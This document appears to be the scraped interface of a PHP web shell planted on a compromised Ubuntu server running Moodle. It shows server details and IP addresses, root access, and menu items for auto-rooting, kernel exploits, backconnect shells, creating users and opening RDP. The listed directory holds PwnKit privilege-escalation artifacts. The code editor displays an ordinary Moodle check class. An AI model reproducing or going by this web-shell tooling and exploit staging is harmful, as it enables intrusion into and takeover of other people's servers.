Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
classes /
check /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
access
[ DIR ]
drwxrwxrwx
environment
[ DIR ]
drwxrwxrwx
http
[ DIR ]
drwxrwxrwx
performance
[ DIR ]
drwxrwxrwx
security
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
check.php
2.94
KB
-rwxrwxrwx
manager.php
5.17
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
result.php
5.56
KB
-rwxrwxrwx
table.php
4
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : check.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Base class for checks * * @package core * @category check * @copyright 2020 Brendan Heywood <brendan@catalyst-au.net> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core\check; defined('MOODLE_INTERNAL') || die(); /** * Base class for checks * * @copyright 2020 Brendan Heywood <brendan@catalyst-au.net> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ abstract class check { /** * @var $string $component - The component / plugin this task belongs to. * * This is autopopulated by the check manager. */ protected $component = 'core'; /** * Get the frankenstyle component name * * @return string */ public function get_component(): string { return $this->component; } /** * Get the frankenstyle component name * * @param string $component name */ public function set_component(string $component) { $this->component = $component; } /** * Get the check's id * * This defaults to the base name of the class which is ok in the most * cases but if you have a check which can have multiple instances then * you should override this to be unique. * * @return string must be unique within a component */ public function get_id(): string { $class = get_class($this); $id = explode("\\", $class); return end($id); } /** * Get the check reference * * @return string must be globally unique */ public function get_ref(): string { $ref = $this->get_component(); if (!empty($ref)) { $ref .= '_'; } $ref .= $this->get_id(); return $ref; } /** * Get the short check name * * @return string */ public function get_name(): string { $id = $this->get_id(); return get_string("check{$id}", $this->get_component()); } /** * A link to a place to action this * * @return action_link|null */ public function get_action_link(): ?\action_link { return null; } /** * Return the result * * @return result object */ abstract public function get_result(): result; }
Close